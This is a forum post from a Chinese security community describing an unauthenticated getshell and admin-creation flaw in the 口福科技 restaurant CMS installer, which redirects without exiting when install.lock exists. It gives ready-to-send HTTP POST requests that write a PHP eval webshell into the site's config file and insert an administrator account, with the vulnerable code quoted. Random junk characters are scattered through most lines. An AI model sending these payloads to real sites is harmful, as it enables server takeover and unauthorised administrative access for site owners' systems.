找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2075|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。! |# c, T$ e1 s; l7 J9 k' C0 U6 v

9 j' _! h5 _; W6 o! v<?php
7 y  p  s* x4 c# Q7 B- P8 Iif(file_exists("../install.lock"))* ]( ^/ O/ \& M8 N/ f
{
* r" w/ W3 x1 O! Z: }- h0 ^1 i    header("Location: ../");//没有退出  V9 h' S5 f, z( c: N
}
6 q, }& w5 T! \               # y. w& a, |) m6 D+ y
//echo 'tst';exit;( @8 b  s) s: e. b5 X0 N7 y2 D3 i
require_once("init.php");
# n, `0 `( I& c0 r+ N/ B# Y) Pif(empty($_REQUEST['step']) || $_REQUEST['step']==1)) p- ^: J4 o0 _; k9 s, ]- e
{
8 H7 a; r% h. y( ~  x可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
) p( Q7 e- s$ @8 N" l( W* B6 n2 j. W' y+ l: Q/ ]( x
1、getshell(很危险): b9 p6 [; ?  N3 w; N7 C1 _& `
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
# n4 P6 z9 z4 {8 A& W0 r! e6 [* C{
3 m# B! T' |2 g  a$smarty->assign("step",1);
3 b# L) N( N* p! [4 Z/ d$ j, N$smarty->display("index.html");
+ k* a: T5 T+ g2 X9 Z3 s: O}elseif($_REQUEST['step']==2)8 O) l" C, h! M0 g0 j
{
" c. @/ l% L4 v- Q; w$ C2 H  J    $mysql_host=trim($_POST['mysql_host']);5 j- |% b% c: z, O2 u1 I( c
    $mysql_user=trim($_POST['mysql_user']);6 j$ Y3 d3 A: e5 H# R2 k$ S6 X* F. q+ J
    $mysql_pwd=trim($_POST['mysql_pwd']);
% T) O4 X0 N0 v1 t+ T5 Y1 F    $mysql_db=trim($_POST['mysql_db']);
) C0 i0 ^# t$ |* U# F    $tblpre=trim($_POST['tblpre']);
" |# G' p% U, Q4 x8 L( ?    $domain==trim($_POST['domain']);
9 v9 F8 D& `) f! v4 J    $str="<?php \r\n";2 y; U8 H  [/ h2 b3 j) U. ?
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";- M9 D3 v" I, a
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
: [7 _, l7 b! f# Z5 U4 y    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
, ^* \8 p0 Y5 s    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
& |* }- e$ `" t) B1 H3 G+ f# s    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";0 {2 r) S. t- ^# o; h
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
1 [$ C9 Y( H5 K* J3 |, j6 i* _$ J    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
1 h# K* y: ]- A$ R    $str.='define("SKINS","default");'."\r\n";
! d5 g; l2 M! y1 _; ^9 s6 E    $str.='?>';
9 W) h; Q" L. I4 n2 |    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
) l# I, ~: R- H- J: W上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马% _& o/ i: E  {0 G" Y+ ]; T* _6 F$ n
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
7 Y; ]4 L1 L0 |# IHost: 192.168.80.1296 f2 q4 Z" o& I9 N) r4 E% y& T
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
  O$ Z$ s& t" T& o+ G2 U- q/ vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 r8 |% G9 W  V/ m) ?) aAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3- \$ C# s3 a( [( r1 H8 }: M8 d
Accept-Encoding: gzip, deflate* t" I$ M; q9 h
Referer: http://192.168.80.129/canting/install/index.php?step=1$ T0 N8 I1 ~; Q+ Q
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
2 Q" m" l; z+ dContent-Type: application/x-www-form-urlencoded
3 u* O$ @, i8 d8 qContent-Length: 126
& k$ m; w7 `: u            h( j" }, Z, K9 J3 x) i
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
, ~/ L8 f- `3 U0 D但是这个方法很危险,将导致网站无法运行。
: f3 w, w5 B7 X: u
! y6 J. y! M% Z4 [' F, E# A) k2、直接添加管理员
/ e4 q) O8 r; W3 ~; `+ q8 V" y% x. g0 T. x( o! g9 D$ y
elseif($_REQUEST['step']==5)% d% |8 n5 _7 K/ {
{; d9 C$ C0 j9 {0 Y
    if($_POST)& T8 I; _  l4 v2 V, u
    {   require_once("../config/config.inc.php");1 ]) h; O& y, o( y0 [
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);( h: ^9 z1 n+ @" f: x9 j
        mysql_select_db(MYSQL_DB,$link);% Y' k, l$ ^/ T
        mysql_query("SET NAMES ".MYSQL_CHARSET );7 @( H3 [9 R6 l' j; W
         mysql_query("SET sql_mode=''");0 }: W8 f6 e4 r' ^2 U; f9 y/ k
  f1 `" \: P9 q8 L
$adminname=trim($_POST['adminname']);
7 d0 V0 w. j+ L        $pwd1=trim($_POST['pwd1']);1 y% C" i; Q  I$ @: i& N+ I
        $pwd2=trim($_POST['pwd2']);/ P3 L0 N$ b- d8 ~9 e
        if(empty($adminname))2 A3 H. {$ z" J* x
        {1 {' y5 \; A& e$ U

2 }8 d* w5 ~6 i echo "<script>alert('管理员不能为空');history.go(-1);</script>";
7 \3 {( x0 V% U5 p( K/ l            exit();
' A; j  U+ B' r' \% j        }
+ I  y' e. |9 ~* `; O2 ^, ?" W2 y, g1 c        if(($pwd1!=$pwd2) or empty($pwd1))
6 k) q, d4 @7 V, a! T" g) K& l! S        {
, u( n2 z* j0 H: P            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
6 ?* ]& U0 N( N2 ]' w        }
7 V( [, w& y% P/ q7 U        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员6 Z) ]& Y# f1 r* n) m! \
    }
3 z) }% B/ o2 Z+ N) k" G. ~' v# f: X/ l这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
0 c3 D7 ^$ h2 e' o0 i' e1 fPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
) T1 J) c3 T: E6 eHost: 192.168.80.1298 N6 [5 Y) V- K$ P% z8 O
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
2 C* h2 X* A, Z( P. o, P: V( m4 g) bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' O( M% O6 b4 r" I+ \- R4 y+ mAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
1 y8 L$ ]+ b, yAccept-Encoding: gzip, deflate* \) ], s0 X% Z" `
Referer: http://www.2cto.com /canting/install/index.php?step=1
4 C3 o, n, M2 ^8 F! N3 W' {8 [Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc426 _9 \0 A  U! W9 w; M6 r' g
Content-Type: application/x-www-form-urlencoded( q1 x; F1 I$ ], m  E
Content-Length: 46. v9 C9 Z0 G  q4 N! V
      
5 V6 Z( m% Q$ T0 Dadminname=qingshen&pwd1=qingshen&pwd2=qingshen​, }- W4 i' J5 l9 H% D, y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表